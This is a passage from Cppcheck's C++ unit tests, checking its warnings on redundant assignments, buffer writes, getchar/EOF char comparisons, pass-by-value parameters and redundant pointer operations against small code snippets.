0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after 